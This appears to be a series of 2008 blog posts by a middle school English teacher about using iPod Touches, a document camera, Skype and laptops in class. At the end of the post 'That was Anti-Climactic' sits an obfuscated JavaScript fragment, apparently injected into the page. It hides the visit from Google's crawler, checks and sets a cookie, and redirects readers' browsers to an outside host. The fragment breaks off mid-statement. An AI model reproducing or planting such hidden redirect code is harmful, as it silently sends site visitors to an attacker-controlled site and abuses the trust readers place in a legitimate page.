Fort Herriman Middle School


Technology Pains
November 3, 2008, 6:54 pm
Filed under: technology

The above video clip is a public service announcement about the Digital TV transition that will take place in February, 2009. Since the clip is from Hulu, I don’t think you can view it if you live outside the US.

I can’t say I know how that woman feels, but I have seen this problem a hundred times.

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Questions about the iPod Touch
October 23, 2008, 10:22 pm
Filed under: guided reading, ipods, technology

In the last post, Lynda asked a bunch of questions about the iPods. I want to answer them here, because it will help me reflect more.

1) How many students are sharing these 3 iPods?
The students are arranged into guided reading groups of 5 or 6. They rotate to different stations around the room, and they use the iPods and share them during that station. So, two people share an iPod.

2) What apps are loaded on the ipods?
eReader – an e-book reader app.
Stanza – another e-book reader app.
Wurdle – A Yatzhee-type of word game.
Word Whirl – You get seven letters and you have to make words that are from 3 to 7 letter long.
World Wiki – A wiki for every country in the world.
American Heritage Desk Dictionary – Apparently a pretty popular dictionary. Who knew?
Declaration and Constitution – Some historical documents that most people feel are pretty important.
iFlipr Lite – Flashcard app.
Flashcards – A good flashcard app that allows you to add pictures and photos to the flashcards. Very much worth the $2.99
Kid Book Envi – This is a cool app that allows you to read kids’ books. Very cool.
There are a lot of great apps and I will probably buy more, because there are so many neat things.

3) How long is an ipod “session”?
They get 10 minutes at each station, so 10 minutes on the iPods.

4) How do you decide who uses the ipod? Is there a schedule? Is it time-based, or project-based?
That is, does a slower student get more time than a quicker student?
This is a good question, and I think that the students feel the best about the situation when they all get equal time on the iPods. One of the apps on there is a book reading app, and I may use that more in the future with the guided reading.

5) Is time on the ipod used as a perk or reward?
This is a touchy area of using technology. Technology is a privilege, not a right. I really want to use technology, and it is easier and more enjoyable for me, and so I try to not take it away. Well, these guided reading groups are not really easier, but they are worth it. I have had to take away the reading groups from one class, and I made that the punishment, not taking away the iPods.

6) What is the ideal ratio of students per iPod?
Ideally, I would want to have 1 student per iPod, but I don’t think that is the best way to do it. I think having 2 kids on each iPod is good because they keep each other on task.

7) Does the student do work on the iPod? On a computer? On paper?
They do work on all three. Most of the work on the iPods have been watching instructional videos, where I am teaching something that I recorded previously and loaded onto the iPod.

8) Do you download podcasts from the iTunes store?
I have downloaded a movies from iTunesU that relate to the book that we are reading, Freak the Mighty. There are a lot of useful things from the iTunesU K-12 section that I will use, I am sure.

9) Are the students creating their own podcasts? If so, are they audio only? Video?
They eventually will create some sort of podcast, but that probably won’t be done on the iPods unless I can get some microphones that work.

I hope these answers are satisfactory for you. If anybody has any ideas, feel free to let me know.

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iPod Touch in the Classroom
October 21, 2008, 7:42 pm
Filed under: ipods, technology

Due to a grant by our PTSA, I was able to purchase 3 iPod Touches for use in my classroom. I was going to do some unboxing pics, but I was too busy watching Heroes last night to worry about totally geeking out. But, I did get a chance to snap a picture of the three iPods.

Last school year, I talked about my dream of having these in the classroom. I still think it is a good idea, and I think that it will be beneficial for my students.

I bought a bunch of applications, though most of them were free. I have a few that I have been thinking of writing myself (shh, don’t tell my wife, she thinks I have too much on my plate already) but I probably won’t ever get to it, because it takes so much time to learn something so new to me.

The cool thing is that the kids love it. They would do any assignment I asked of them, just because it is on an iPod. So, where does that leave me?

Here is my philosophy: I don’t know what it is yet.

I am bouncing around a few things.

  1. Students should use technology to do things that they would do anyways. For example, my students do a quickwrite every so often. Today, they entered their quickwrites in a form on our wiki and all their stories are in a spreadsheet on Google Docs.
  2. Students should use technology to do new things that they haven’t done before. In other words, this should change the way I teach and the way they learn. For example, I made a video and put it on the iTouches for them to watch, and they received instruction by watching a video so that they could perform their next task.
  3. Students should use technology so that they are engaged and that is the only reason why.

I am amazed at how my students have reacted to the technology in our classroom. They love it. They are much more willing to do what I ask when they get to use technology.

I enjoy their enthusiasm for the technology, because it is something I share, also.

Will you help me clarify my philosophy about technology?

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How I Use My Document Camera
September 29, 2008, 9:34 am
Filed under: document camera, EC, modeling, technology


As part of the Engaged Classroom project that our district is sponsoring, we got a sweet document camera, the AverVision 300AF+.


It is perhaps the best piece of technology that I have added to my classroom. Here is why:

  1. It is easy to use
  2. Everyone can use it at the same time (by looking at it, not directly touching/using it)
  3. It allows me to model
  4. I can record videos
  5. I can take pictures of what the camera is seeing
  6. The students know exactly what they need to write down at each stage of an assignment
  7. Students (in Language Arts class) can receive immediate feedback from all students on their work
  8. It is easier for students to keep up and stay engaged in the lesson

If you go to my school website, you can see some videos that I have made of reading strategies. They are pretty boring to watch, but my kids love it when I am doing it live.

I did a small, very unscientific test, to see how well using this worked. In one class, I just gave instructions on an assignment with the document camera, and the students understood, had fewer questions, and paid attention for the entire time. With the other class, I delivered the same instruction, but didn’t turn on the document camera. That class was more distracted, had more questions, and did the assignment at a lower quality.

The document camera is a simple thing, but it makes a big difference in student understanding.

Anybody else use a document camera? How do you use it? How can I use mine better?

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That was Anti-Climactic
August 28, 2008, 9:40 pm
Filed under: EC, technology

Last week, I found out that Senator Howard Stephenson would be coming to my classroom today. Each day, it seemed that the number of other visitors changed. I wasn’t sure at all what would actually happen, and neither were the district people that were closer to the situation. Everything was shrouded in mystery.


Yesterday, a rep from the audio enhancement company our school uses showed up to make sure that my microphone would feedback whenever I talked. I had turned down the high end because it was feedback city, and that took care of the problem. He came in (as a professional) and turned up the highs and seemed satisfied when it made the awful high-pitched scream. Silly man. I turned them back down in preparation for today’s meeting.

Senator Stephenson came into my room and observed with 5 or 6 other people. I was hoping that we could get my teacher evaluation out of they way today, but that was not meant to be. They sat there and watched me teach about online safety, and then left. They didn’t ask me any questions, or interrupt my lesson, or anything. I wasn’t expecting a highway being named after me, but I was expecting something. There was nothing. I almost took a nap during my prep period immediately following the visit.

The sad thing is that they missed the best part. The kids made a KWL chart about being safe online in Google Docs on the wiki, and now we have a big list of everything that they know and want to know about being safe online. That part really was neat. It was hard to get my kids on task, because they were psyched out to be using the laptops.

For a different view, you can read Darren’s take on the whole thing (with a picture, even).var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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The Message didn’t Stick
June 11, 2008, 11:49 am
Filed under: EC, funny, learning, technology

I am participating in a program by our school district called the Engaged Classroom. I (and two other teachers) are going to have a mobile lab with a bunch of other technology to use for the year, and hopefully create some good projects and learning opportunities for our students. This is exactly the type of thing that I have wanted to do for a long time, so I am glad that I now have the opportunity.

Kelly and Darren are doing a great job teaching a very technologically diverse group of people about the different tools we should/will be using. They are experiencing what any other person teaching about technology will experience: sometimes, people just don’t get it. Even if they say, “Yes, teacher, I understand what you are asking and I will do it from now on just like that.”

After learning how to use Diigo (which I finally kind of understand now, thanks), Wikis, Google Docs, and plenty of other collaborative web apps, one student wanted to share a link with another student. So, this is what she did:)

You gotta love that. The image is backwards, and it is because I took it from Photo Booth and didn’t have the energy to mirror the image so it came out right. Call me lazy.

Honestly, the worst thing in the world to me (not really, but a close second to getting stung by a jellyfish) is writing out by hand URLs. Talk about torture!

So the real question is, what is this person going to do with what she has “learned” this week? I am most certainly not mocking or poking holes in the wonderfully developed program. They have done a lot to make sure that they are following up; we must make a portfolio, attend monthly meetings, and teach others about the same things we are learning. This is a large beast to tackle for them, and I am excited to be a part of it.

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Skypin’
May 12, 2008, 9:00 pm
Filed under: skype, technology


The last couple weeks we have been doing Skype video calls with another 7th grade class in Oregon. All we have been doing is reciting poetry, but it is still fun. My students have been really nervous, which is cool because they are able to perform in front of a real audience. I blocked out the faces of the students. We have been working with a class in Oregon. I think that it is so much fun to do this.

Today, we did a video call with a fourth grade boy and his teacher. The boy, D. asked a bunch of questions about Utah. It is part of a big project that the whole class is working on.

So, here is what I think of video calls with other classes. This can be a great way for people to learn more about other places and other people. I would really like to do some video calls with some writers since I teach English. It would be very beneficial to be able to learn from them, and use their knowledge and experience to help my students. Maybe my 7th graders are too young for that. I don’t know. I do have one friend who is an author, but we just haven’t had an opportunity to talk to him, though, thankfully, he is willing. This is something that I want to keep doing next year. The good this about this is that you are not putting anything on the internet, your kids’ identities are protected, and you meet new people in the process.

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